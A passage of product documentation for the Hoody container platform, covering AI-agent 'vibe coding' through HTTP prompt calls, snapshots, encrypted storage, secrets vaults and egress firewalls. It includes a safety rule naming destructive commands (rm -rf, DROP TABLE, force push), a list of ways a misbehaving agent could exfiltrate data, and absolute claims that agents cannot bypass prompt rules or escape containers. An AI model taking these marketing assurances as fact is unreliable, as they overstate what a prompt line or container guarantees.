          parts: [{ type: 'text', text: `Build a real-time dashboard that shows server metrics.
        Use React with Tailwind CSS for the frontend.
        Create a backend API with hoody-exec that reads system stats.
        Store historical data in SQLite.
        Auto-refresh every 5 seconds.` }],
          autoApprove: true,
        }),
      }
    );
    const result = await response.json();
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{
        "parts": [{ "type": "text", "text": "Build a real-time dashboard that shows server metrics. Use React with Tailwind CSS for the frontend. Create a backend API with hoody-exec that reads system stats. Store historical data in SQLite. Auto-refresh every 5 seconds." }],
        "autoApprove": true
      }'
    ```
  


### 4. Watch It Build

Now watch your three browser tabs come alive:

**In hoody-code (Tab 1):** Files appear and change in real-time. The agent creates `src/App.tsx`, `src/components/MetricsChart.tsx`, `api/metrics.ts`. You see every keystroke, every import, every function definition as it happens.

**In hoody-terminal (Tab 2):** Commands execute. `bun install react react-dom tailwindcss`. `bun create vite . --template react-ts`. `mkdir -p src/components`. You see the agent think through the build process.

**In hoody-display (Tab 3):** Your app appears. First the Vite scaffold. Then the layout takes shape. Then the charts render. Then real data flows in. You are watching software materialize from a conversation.


This is the fundamental difference from traditional development. You are not writing code and waiting for feedback. You are watching code write itself and providing direction. The feedback loop is inverted.


### 5. Guide and Correct

The AI is good but not omniscient. Guide it:


  
    ```bash
    # Continue the conversation via the agent CLI or direct HTTP.
    # Include the sessionID from the previous response to continue the same session.
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{
        "parts": [{ "type": "text", "text": "The chart colors are too similar. Use a red/green/blue palette. Also, add a dark mode toggle in the top right corner." }],
        "sessionID": "'"$SESSION_ID"'"
      }'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Using raw fetch to show the HTTP surface directly.
    // The same endpoints are also available via client.agent.* in the SDK.
    await fetch(
      `https://${PROJECT_ID}-${CONTAINER_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt/sync`,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          parts: [{ type: 'text', text: `The chart colors are too similar. Use a red/green/blue palette.
                Also, add a dark mode toggle in the top right corner.` }],
          sessionID: result.sessionID,
        }),
      }
    );
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{
        "parts": [{ "type": "text", "text": "The chart colors are too similar. Use a red/green/blue palette. Also, add a dark mode toggle in the top right corner." }],
        "sessionID": "'"$SESSION_ID"'"
      }'
    ```
  


The agent modifies the code. The display updates. The conversation continues. You are pair programming with an AI, except neither of you had to install anything.

### 6. Snapshot at Checkpoints

When you reach a state you like, snapshot it:


  
    ```bash
    # Lock in progress
    hoody snapshots create -c $CONTAINER_ID \
      --alias "dashboard-v1-looks-good"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    await client.api.containers.createSnapshot(CONTAINER_ID, {
      alias: 'dashboard-v1-looks-good',
    });
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "dashboard-v1-looks-good"}'
    ```
  


Now continue experimenting. Tell the agent to try something ambitious. If it goes wrong, restore the snapshot in seconds. Risk is free when rollback is instant.

### 7. Share and Ship

When you are satisfied, share the URL:

```bash
# Your app is already live at its container URL
https://PROJECT-CONTAINER-display-1.SERVER.containers.hoody.icu

# Or create a clean production alias
hoody proxy create \
  --container-id $CONTAINER_ID \
  --program daemon --index 1 \
  --alias "my-dashboard"
```

From conversation to production URL. No build pipeline. No deployment configuration. No waiting for DNS propagation. The app was already running -- you just pointed a clean domain at it.

---

## The "Twitter Clone in 2 Hours" Paradigm

The phrase has become shorthand for a new era of development. Here is what it actually looks like on Hoody:

**Hour 1: The Conversation**

```
You:    "Build a social media app like Twitter. Users can post short messages,
         follow other users, and see a feed. Use React, Tailwind, and SQLite."

Agent:  [Creates database schema: users, posts, follows tables]
        [Scaffolds React app with Vite]
        [Implements authentication with session tokens]
        [Builds the feed algorithm]
        [Creates the post composer component]
        [Wires up the API endpoints via hoody-exec]

You:    "The feed should show newest first. Add a character counter
         that turns red at 280 characters."

Agent:  [Modifies feed query to ORDER BY created_at DESC]
        [Adds character counter component with conditional styling]
```

**Hour 2: Polish and Ship**

```
You:    "Add profile pages with a follow/unfollow button.
         Make it look professional -- use a card-based layout."

Agent:  [Creates /profile/[username] route]
        [Implements follow/unfollow toggle]
        [Redesigns layout with card components]
        [Adds loading skeletons]
        [Writes automated tests]

You:    "Perfect. Snapshot this and create a production alias."

Agent:  [Creates snapshot: twitter-clone-v1]
        [Creates proxy alias: my-twitter.hoody.icu]
```

Two hours. One conversation. A working application with a production URL. The AI wrote the code, configured the database, set up the routing, and deployed. You provided creative direction.


This is not about replacing developers. It is about eliminating the 90% of development time spent on configuration, deployment, and infrastructure -- the parts that have nothing to do with building the product.


---

## Why HTTP Makes This Work

Vibe coding on traditional infrastructure does not work. Here is why:

**Traditional setup before you can start:** Install Node.js. Install a database. Configure a reverse proxy. Set up SSL. Write a Dockerfile. Create a docker-compose.yml. Configure environment variables. Set up a CI/CD pipeline. Configure DNS. Wait for provisioning.

**Hoody setup before you can start:** Create a container.

Everything else is already HTTP. The terminal is HTTP. The file system is HTTP. The database is HTTP. The browser preview is HTTP. The deployment is HTTP. The agent orchestrating all of it speaks HTTP natively.

When the AI says "install this package," it makes an HTTP call to the terminal. When it says "create this table," it makes an HTTP call to SQLite. When it says "deploy this," the code is already running -- it was live the moment the file was saved.

**The entire feedback loop is HTTP.** That is why vibe coding works on Hoody and feels painful everywhere else.

---

## Live Preview Updates Automatically

Because hoody-display serves the actual desktop environment of your container, your preview updates in real-time as the agent modifies files. There is no "rebuild and refresh" cycle:

1. Agent writes `src/App.tsx` via hoody-agent's file operations
2. Vite's hot module replacement detects the change (it is running as a daemon)
3. hoody-display reflects the updated UI immediately
4. You see the change in your browser tab within milliseconds

This is the same experience whether you are on your laptop, your phone, or a tablet at a coffee shop. The container is the source of truth. Every display is just a window into it.

---

## Collaborative Vibe Coding

Share the workspace URL with a collaborator. They see everything you see. In real-time.

```
You:           Talking to the agent, guiding the build
Collaborator:  Watching in hoody-display, typing corrections in hoody-terminal
Agent:         Building what you both describe
```

Three participants. Three perspectives. One container. No screen sharing, no "can you see my cursor," no lag. Just URLs that multiple people can open simultaneously.

This is not theoretical multiplayer. This is the natural consequence of HTTP. When every service is a URL, sharing is just sending the URL. Everyone is already in.

---

## The Vibe Coding Safety Net

AI-generated code is confident code. It compiles. It runs. And sometimes it is subtly, catastrophically wrong. Hoody's snapshot system makes this acceptable:

| Risk | Mitigation |
|------|-----------|
| Agent installs bad packages | Restore snapshot (2 seconds) |
| Agent deletes important files | Restore snapshot (2 seconds) |
| Agent breaks the database | Restore snapshot (2 seconds) |
| Agent introduces security vulnerability | Restore snapshot, review code |
| Agent rewrites working code incorrectly | Restore snapshot, try different prompt |

**The pattern:** Snapshot before every major change. Experiment freely. Restore if needed. The cost of failure approaches zero.

---

## Switching Modes

hoody-agent ships with several built-in agents (modes) that match different phases of vibe coding:

- **`build`** -- The default agent. Writes and modifies code, executing tools based on configured permissions.
- **`plan`** -- Plan mode. Drafts and refines plans but disallows edits outside the plans directory.
- **`chat`** -- Lightweight mode. Reads files and writes Markdown, with no agentic tools.
- **`explore`** -- Read-only research mode for understanding a codebase without modifying it.
- **`orchestrator`** -- Breaks complex tasks into subtasks and manages worker agents.

Switch modes mid-conversation to match what you need:


  
    ```bash
    # Start with architecture planning via the agent CLI or direct HTTP.
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{"parts": [{ "type": "text", "text": "Plan the architecture for an e-commerce platform. Do not write code yet — just outline the components, data models, and API surface." }], "autoApprove": true}'

    # Once the plan looks good, send a follow-up prompt to start coding.
    # The agent handles the mode transition automatically.
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{"parts": [{ "type": "text", "text": "The architecture looks good. Now implement it." }], "sessionID": "'"$SESSION_ID"'"}'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Using raw fetch to show the HTTP surface directly.
    // The same endpoints are also available via client.agent.* in the SDK.

    // Start with architecture planning
    const planRes = await fetch(
      `https://${PROJECT_ID}-${CONTAINER_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt/sync`,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          parts: [{ type: 'text', text: 'Plan the architecture for an e-commerce platform. Do not write code yet — just outline the components, data models, and API surface.' }],
          autoApprove: true,
        }),
      }
    );
    const plan = await planRes.json();

    // Once the plan looks good, send a follow-up prompt to start coding.
    // The agent handles the mode transition automatically.
    await fetch(
      `https://${PROJECT_ID}-${CONTAINER_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt/sync`,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          parts: [{ type: 'text', text: 'The architecture looks good. Now implement it.' }],
          sessionID: plan.sessionID,
        }),
      }
    );
    ```
  
  
    ```bash
    # Start with architecture planning
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{"parts": [{ "type": "text", "text": "Plan the architecture for an e-commerce platform. Do not write code yet — just outline the components, data models, and API surface." }], "autoApprove": true}'

    # Once the plan looks good, send a follow-up prompt to start coding.
    # The agent handles the mode transition automatically.
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{"parts": [{ "type": "text", "text": "The architecture looks good. Now implement it." }], "sessionID": "'"$SESSION_ID"'"}'
    ```
  


---

## MITM Rules: Safety Guardrails for Vibe Coding

Vibe coding means the AI has the wheel. That is liberating — and occasionally terrifying. hoody-agent's built-in MITM rule engine gives you declarative safety nets that run underneath every session, without interrupting the creative flow.

Add a `chat.system.transform` rule that appends "CRITICAL: Never execute rm -rf, DROP TABLE, or git push --force without asking first" to every system prompt. The agent cannot bypass this instruction — it is part of the prompt itself. Add a `tool.execute.before` rule for `bash` that sends a notification when the agent is about to run a shell command in a `prod`-tagged session. Add a `session.error` rule that alerts Slack when anything goes wrong. All JSON configuration — no code, no proxy setup, no latency.

The safety net is always on, even when you are in the flow. That is the point. You set the vibe, the AI does the coding, and the rules ensure it stays within bounds. See [MITM: Built-In Rule Engine](/foundation/hoody-ai/mitm/#built-in-rule-engine-zero-code-mitm) for all seven event types and copy-paste examples.

---

## From Vibe to Production

Vibe coding is not just for prototypes. The output is real code running on real infrastructure. When you are ready for production:

1. **Snapshot the final state** -- Your insurance policy
2. **Create a proxy alias** -- Clean URL for the world
3. **Set proxy permissions** -- Control who can access what
4. **Set up hoody-cron** -- Automated backups and maintenance
5. **Configure hoody-daemon** -- Ensure processes restart on failure

Every step is an HTTP call. The vibe becomes the product without a single "deploy" step. The code was already running. You just decided it was done.

---

## Any Provider, Any Model

The AI driving your vibe coding session is not locked in. Hoody supports 75+ providers — Claude, GPT-4o, Gemini, Mistral, Groq, local Ollama, any OpenAI-compatible endpoint. Switch models mid-session by swapping the profile in hoody-agent's settings. Run today's hottest model, tomorrow's better one, or your own fine-tuned local model when the task calls for privacy. One config change, same workflow. See [Hoody AI](/foundation/hoody-ai/) for the provider list.

---

## What's Next

- **[Deploying Autonomous AI Agents](/guides/ai-agents/)** -- Go deeper into agent capabilities
- **[Building a Full-Stack Application](/guides/full-stack-app/)** -- Step-by-step app construction
- **[Multiplayer by Default](/guides/multiplayer/)** -- Collaborative vibe coding with your team
- **[VS Code in Browser](/kit/code/)** -- Customize your coding environment

---

# Zero-Knowledge Workflows

**Page:** guides/zero-knowledge

[Download Raw Markdown](./guides/zero-knowledge.md)

---

# Zero-Knowledge Workflows

**Every cloud provider makes the same promise: "Your data is secure." Then they read your data to train AI models, hand it to governments without telling you, or suffer breaches that expose millions of records.** The promise is structurally impossible to keep because their architecture requires them to have access to your data in order to serve it.

Hoody's architecture is different. Not because we are more trustworthy -- because the system does not require trust.

You rent bare metal servers. Physical machines. Not virtual instances on shared hardware. Not containers on someone else's hypervisor. Actual hardware where you control the disk, the memory, the network, and the encryption keys. Your containers run on hardware you control. We cannot read your data because we do not have access to the hardware it lives on.

This is not a privacy feature. It is the architecture.

---

## What Zero-Knowledge Means in Hoody

Zero-knowledge means the platform operator (Hoody) cannot access your data even if compelled to do so. Here is how:

| Layer | Traditional Cloud | Hoody |
|-------|------------------|-------|
| Hardware | Shared with other tenants | Dedicated bare metal you control |
| Hypervisor | Provider-controlled | None -- containers run on your hardware |
| Disk encryption | Provider holds the keys | You hold the keys |
| Network | Provider can inspect traffic | Encrypted within your server |
| Backups | Provider can read snapshots | Snapshots live on your disk |
| AI training | Your data may be used | Your data never leaves your hardware |

The fundamental difference: in traditional cloud, the provider is in the trust chain. In Hoody, the provider is not. Your server is a physical machine. Your containers are processes on that machine. Your data is bytes on that disk. Hoody manages the orchestration layer -- container creation, proxy routing, service coordination -- but your actual data stays on hardware you control.


This is not marketing language. This is an architectural fact. Hoody's API manages container lifecycle and proxy routing. The container data -- files, databases, processes, memory -- exists on your bare metal server. Hoody's infrastructure does not have filesystem access to your containers.


---

## Encrypted Filesystems

hoody-files supports encrypted storage through the crypt backend. Files are encrypted before they hit the disk and decrypted on read. The encryption key never leaves your container.


  
    ```bash
    # Configure encrypted storage backend
    hoody files backends connect crypt \
      --remote "/secure-data" \
      --password "$ENCRYPTION_KEY"

    # Write a file to encrypted storage
    hoody files put secrets/api-keys.json \
      --backend "encrypted-vault"

    # Read it back -- transparently decrypted
    hoody files get secrets/api-keys.json \
      --backend "encrypted-vault"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    // Configure encrypted backend
    const vault = await containerClient.files.backends.connectCrypt({
      remote: '/secure-data',
      password: process.env.ENCRYPTION_KEY,
    });

    // Write encrypted file -- reference the backend by its returned id
    const payload = JSON.stringify({ stripe: 'sk_live_...', github: 'ghp_...' });
    await containerClient.files.put('secrets/api-keys.json', new Blob([payload]), {
      backend: vault.data.id,
    });

    // Read transparently decrypted
    const secrets = await containerClient.files.get('secrets/api-keys.json', {
      backend: vault.data.id,
    });
    ```
  
  
    ```bash
    # Configure encrypted backend -- returns { data: { id, ... } }; use data.id for subsequent calls
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-files-1.$SERVER.containers.hoody.icu/api/v1/backends/crypt" \
      -H "Content-Type: application/json" \
      -d '{
        "remote": "/secure-data",
        "password": "'$ENCRYPTION_KEY'"
      }'

    # Write to encrypted storage. The request body IS the file content; the
    # backend is selected via the ?backend= query parameter (replace $BACKEND_ID
    # with the id returned above).
    curl -X PUT "https://$PROJECT_ID-$CONTAINER_ID-files-1.$SERVER.containers.hoody.icu/api/v1/files/secrets/api-keys.json?backend=$BACKEND_ID" \
      -H "Content-Type: application/json" \
      -d '{"stripe": "sk_live_...", "github": "ghp_..."}'

    # Read from encrypted storage (transparently decrypted)
    curl "https://$PROJECT_ID-$CONTAINER_ID-files-1.$SERVER.containers.hoody.icu/api/v1/files/secrets/api-keys.json?backend=$BACKEND_ID"
    ```
  


**What happens on disk:** The file `secrets/api-keys.json` is stored as encrypted bytes. If someone physically extracts the disk, they get ciphertext. If someone gains shell access without the encryption key, they get ciphertext. The file is only readable through the hoody-files service with the correct key.

---

## Vault Secrets Management

For secrets that need to be available to applications without storing them in plaintext files, use hoody-sqlite's KV store as a secrets vault:


  
    ```bash
    # Store secrets in the KV store (--db is required; --create-db-if-missing on first use)
    hoody kv set "vault:stripe_key" --db /hoody/databases/app.db --create-db-if-missing \
      --body '"sk_live_abc123..."'

    hoody kv set "vault:database_url" --db /hoody/databases/app.db \
      --body '"postgres://user:pass@host:5432/db"'

    hoody kv set "vault:jwt_secret" --db /hoody/databases/app.db \
      --body '"your-256-bit-secret"'

    # Retrieve secrets programmatically
    hoody kv get "vault:stripe_key" --db /hoody/databases/app.db
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    // Store secrets. The value is the raw string; `db` is required.
    const kvOpts = { db: '/hoody/databases/app.db', create_db_if_missing: true };
    await containerClient.sqlite.kvStore.set('vault:stripe_key', 'sk_live_abc123...', kvOpts);

    await containerClient.sqlite.kvStore.set('vault:jwt_secret', 'your-256-bit-secret', kvOpts);

    // Retrieve in your application
    const stripeKey = await containerClient.sqlite.kvStore.get('vault:stripe_key', { db: '/hoody/databases/app.db' });
    ```
  
  
    ```bash
    # Store a secret. The body IS the value (raw string), and `db` is required.
    curl -X PUT "https://$PROJECT_ID-$CONTAINER_ID-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/vault:stripe_key?db=/hoody/databases/app.db&create_db_if_missing=true" \
      -H "Content-Type: text/plain" \
      -d 'sk_live_abc123...'

    # Retrieve a secret (the response body is the raw stored value)
    curl "https://$PROJECT_ID-$CONTAINER_ID-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/vault:stripe_key?db=/hoody/databases/app.db"
    ```
  


The KV store lives in SQLite, which lives on your bare metal disk. Secrets never traverse infrastructure you do not control. Combine with the crypt backend for defense in depth -- encrypted filesystem holding an encrypted database holding your secrets.

---

## Container Isolation as the Security Boundary

Each container is a complete, isolated Linux environment. The isolation is not just logical -- it is enforced at the operating system level:

```
┌──────────────────────────────────────────────────┐
│                 YOUR BARE METAL SERVER            │
│                                                  │
│  ┌─────────────┐  ┌─────────────┐  ┌──────────┐ │
│  │ Container A  │  │ Container B  │  │ Cont. C  │ │
│  │             │  │             │  │          │ │
│  │ Own files   │  │ Own files   │  │ Own files│ │
│  │ Own network │  │ Own network │  │ Own net  │ │
│  │ Own procs   │  │ Own procs   │  │ Own procs│ │
│  │ Own users   │  │ Own users   │  │ Own users│ │
│  │             │  │             │  │          │ │
│  │ CANNOT SEE  │  │ CANNOT SEE  │  │ CANNOT   │ │
│  │ B or C      │  │ A or C      │  │ SEE A, B │ │
│  └─────────────┘  └─────────────┘  └──────────┘ │
│                                                  │
│  Shared: CPU, RAM, Disk (but isolated views)     │
└──────────────────────────────────────────────────┘
```

**What container isolation means in practice:**

- Container A cannot read Container B's files, even though they share the same physical disk
- A process in Container A cannot see or kill processes in Container B
- Network traffic is isolated -- containers cannot sniff each other's traffic
- A compromised container cannot escape to the host or other containers
- An AI agent running in Container A has full root access inside A and zero access outside A

This is why container isolation is the correct security primitive for the AI era. When you give an AI agent root access to a container, the blast radius is exactly one container. Not your server. Not your other projects. Not your data.

---

## Privacy Patterns

### Pattern 1: Realm-Restricted Tokens for Tenant Isolation

When building multi-tenant applications, use realms to create isolated API scopes:


  
    ```bash
    # NOTE: There is no hoody realms create CLI command.
    # Realms are configured through the Hoody dashboard.
    # List existing realms:
    hoody realms list

    # Create containers within each realm
    hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "acme-app" \
      --hoody-kit

    hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "globex-app" \
      --hoody-kit
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // NOTE: There is no createRealm method in the SDK.
    // Realms are configured through the Hoody dashboard.
    // Realms are returned as an opaque array of 24-hex IDs -- any human
    // naming convention is external/out-of-band (e.g. tracked in your own notes).
    const realms = await client.api.realms.list();
    const realmIds = realms.data.realm_ids; // string[] of 24-hex realm IDs
    if (realmIds.length < 2) {
      throw new Error(`Need at least two realms to isolate customers; got ${realmIds.length}. Create them via the Hoody dashboard first.`);
    }
    const [acmeRealmId, globexRealmId] = realmIds;

    // Containers in different realms are completely isolated
    const acmeApp = await client.api.containers.create(PROJECT_ID, {
      name: 'acme-app',
      server_id: SERVER_ID,
      realm_ids: [acmeRealmId],
      hoody_kit: true,
    });

    const globexApp = await client.api.containers.create(PROJECT_ID, {
      name: 'globex-app',
      server_id: SERVER_ID,
      realm_ids: [globexRealmId],
      hoody_kit: true,
    });
    ```
  
  
    ```bash
    # NOTE: There is no POST /api/v1/realms endpoint.
    # Realms are configured through the Hoody dashboard.
    # List available realms:
    curl "https://api.hoody.icu/api/v1/realms" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Create container in realm
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "acme-app",
        "server_id": "'$SERVER_ID'",
        "realm_ids": ["'$ACME_REALM_ID'"],
        "hoody_kit": true
      }'
    ```
  


Realm-scoped API tokens can only access containers within their realm. A token for `tenant-acme-corp` cannot see, list, or access any container in `tenant-globex-inc`. The isolation is enforced at the API level.

### Pattern 2: Encrypt Data at Rest

Layer encryption for sensitive data:

```typescript
// Layer 1: hoody-files crypt backend encrypts the filesystem
// Layer 2: Application-level encryption for specific fields

// @mode serverless
const SQLITE = "https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu";

// Store with application-level encryption
const crypto = require('crypto');
const key = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);

const sensitiveData = JSON.stringify({ ssn: '123-45-6789', salary: 150000 });
let encrypted = cipher.update(sensitiveData, 'utf8', 'hex');
encrypted += cipher.final('hex');

await fetch(SQLITE + "/api/v1/sqlite/db?db=/hoody/databases/app.db", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    transaction: [{ query: "INSERT INTO employee_records (name, encrypted_data, iv) VALUES (?, ?, ?)", values: ["Alice Chen", encrypted, iv.toString('hex')] }]
  })
});
```

Two layers: the filesystem is encrypted by the crypt backend, and sensitive fields are encrypted again at the application level. Even if someone bypasses the filesystem encryption, the data inside is still ciphertext.

### Pattern 3: Control Network Egress with Firewall

Prevent containers from sending data to unauthorized destinations:


  
    ```bash
    # Lock down outbound traffic
    hoody firewall reset -c $CONTAINER_ID

    # Resolve the hostnames you want to allow to IPv4/CIDR first — the firewall
    # API only accepts numeric destinations (host `dig +short api.stripe.com`).
    STRIPE_CIDR=$(dig +short api.stripe.com | awk '{print $1"/32"; exit}')
    GITHUB_CIDR=$(dig +short api.github.com  | awk '{print $1"/32"; exit}')

    hoody firewall egress create -c $CONTAINER_ID \
      --action allow --protocol tcp --destination-port 443 \
      --destination "$STRIPE_CIDR" --description "Allow Stripe API"

    hoody firewall egress create -c $CONTAINER_ID \
      --action allow --protocol tcp --destination-port 443 \
      --destination "$GITHUB_CIDR" --description "Allow GitHub API"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Reset firewall to deny-all default
    await client.api.firewall.reset(CONTAINER_ID);

    // Whitelist specific destinations. The egress `destination` must be an
    // IPv4 address or CIDR range — resolve the hostname to an IP first.
    await client.api.firewall.addEgressRule(CONTAINER_ID, {
      destination: '203.0.113.10/32', // resolved IP for api.stripe.com
      destination_port: '443',
      action: 'allow',
      protocol: 'tcp',
      description: 'Allow Stripe API',
    });
    ```
  
  
    ```bash
    # Reset firewall (deny-all default)
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/reset" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Whitelist specific destination. `destination` must be an IPv4 address or
    # CIDR range — resolve the hostname to an IP first (e.g. dig +short api.stripe.com).
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/egress" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "destination": "203.0.113.10/32",
        "destination_port": "443",
        "action": "allow",
        "protocol": "tcp",
        "description": "Allow Stripe API"
      }'
    ```
  


With egress deny-all, the container cannot phone home, cannot exfiltrate data, cannot communicate with any server you have not explicitly approved. This is essential when running untrusted code or AI agents that might attempt to send data externally.

---

## Compliance and Data Sovereignty

Physical servers mean physical locations. This is the simplest compliance argument there is:

**Data residency:** Your server is in Frankfurt. Your data is in Frankfurt. Not "primarily" in Frankfurt. Not "replicated from" Frankfurt. Physically, magnetically, on a disk in Frankfurt.

**GDPR:** European personal data lives on European hardware. Period. No transatlantic transfer to worry about, no data processing agreements with cloud sub-processors, no "our servers might be anywhere" hedging.

**HIPAA:** Protected health information on dedicated hardware with encrypted filesystems, firewall-controlled network access, and container isolation between patient datasets.

**SOC 2:** Audit trail through HTTP request logs. Access control through proxy permissions. Encryption through crypt backend. Isolation through containers. Every compliance requirement maps to an HTTP-observable, configurable control.

```
┌────────────────────────────────────────────────┐
│  YOUR SERVER: Frankfurt, Germany               │
│  Physical address: DataCenter GmbH, Room 4B    │
│                                                │
│  Container: patient-records                    │
│  ├── Encrypted filesystem (crypt backend)      │
│  ├── Firewall: egress deny-all                 │
│  ├── Proxy: IP whitelist (clinic IPs only)     │
│  ├── Realm: healthcare-prod                    │
│  └── Snapshots: daily, 90-day retention        │
│                                                │
│  Data location: This building. This rack.      │
│  Data access: Clinic IPs only.                 │
│  Data encryption: AES-256, keys on-server.     │
│  Data retention: 90-day snapshot history.       │
│  Audit trail: Every HTTP request logged.        │
└────────────────────────────────────────────────┘
```

Try expressing that compliance posture with a shared cloud VM. You cannot. The architecture prevents it.

---

## The AI Safety Angle

Here is the argument that makes zero-knowledge workflows urgent rather than merely prudent:

**AI agents running in your infrastructure can see everything.** When you give an AI agent access to a container -- terminal, files, database, browser -- it has the same access as a developer. It can read credentials, query databases, browse the filesystem.

On shared infrastructure, a compromised or misbehaving AI agent could:

- Exfiltrate data through network requests
- Access other tenants' resources through hypervisor vulnerabilities
- Persist malicious code that survives container restarts
- Send your data to the AI provider's training pipeline

On Hoody's bare metal + container architecture:

- **Container isolation** prevents the agent from escaping its sandbox
- **Firewall rules** prevent unauthorized network communication
- **Snapshots** let you roll back any changes the agent made
- **Bare metal** means no hypervisor attack surface
- **Encrypted filesystems** mean even disk-level access yields ciphertext


  
    ```bash
    # The AI safety workflow:

    # 1. Create an isolated container for the experiment and capture its ID
    EXPERIMENT_ID=$(hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "ai-experiment" \
      --hoody-kit | jq -r '.data.id')

    # 2. Lock down network
    hoody firewall reset -c $EXPERIMENT_ID

    # 3. Snapshot clean state
    hoody snapshots create --container $EXPERIMENT_ID \
      --alias "clean-slate"

    # 4. Let the AI agent run via the prompt endpoint
    curl -X POST "https://$PROJECT_ID-$EXPERIMENT_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{"parts": [{"type": "text", "text": "Analyze this dataset and build a classification model"}], "autoApprove": true}'

    # 5. Inspect results
    # 6. Restore clean state if needed
    hoody snapshots restore -c $EXPERIMENT_ID --name "clean-slate"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // 1. Isolated container
    const experiment = await client.api.containers.create(PROJECT_ID, {
      name: 'ai-experiment',
      server_id: SERVER_ID,
      hoody_kit: true,
    });

    // 2. Lock down network
    await client.api.firewall.reset(experiment.data.id);

    // 3. Snapshot clean state
    await client.api.containers.createSnapshot(experiment.data.id, {
      alias: 'clean-slate',
    });

    // 4. Let the AI work in isolation
    // Using raw fetch to show the HTTP surface directly.
    const agentBase = `https://${PROJECT_ID}-${experiment.data.id}-workspaces-1.${SERVER}.containers.hoody.icu`;
    await fetch(`${agentBase}/api/v1/agent/prompt/sync`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        parts: [{ type: 'text', text: 'Analyze this dataset and build a classification model' }],
        autoApprove: true,
      }),
    });

    // 5. Inspect results via files, terminal, sqlite
    // 6. Restore if needed
    await client.api.containers.restoreSnapshot(experiment.data.id, 'clean-slate');
    ```
  
  
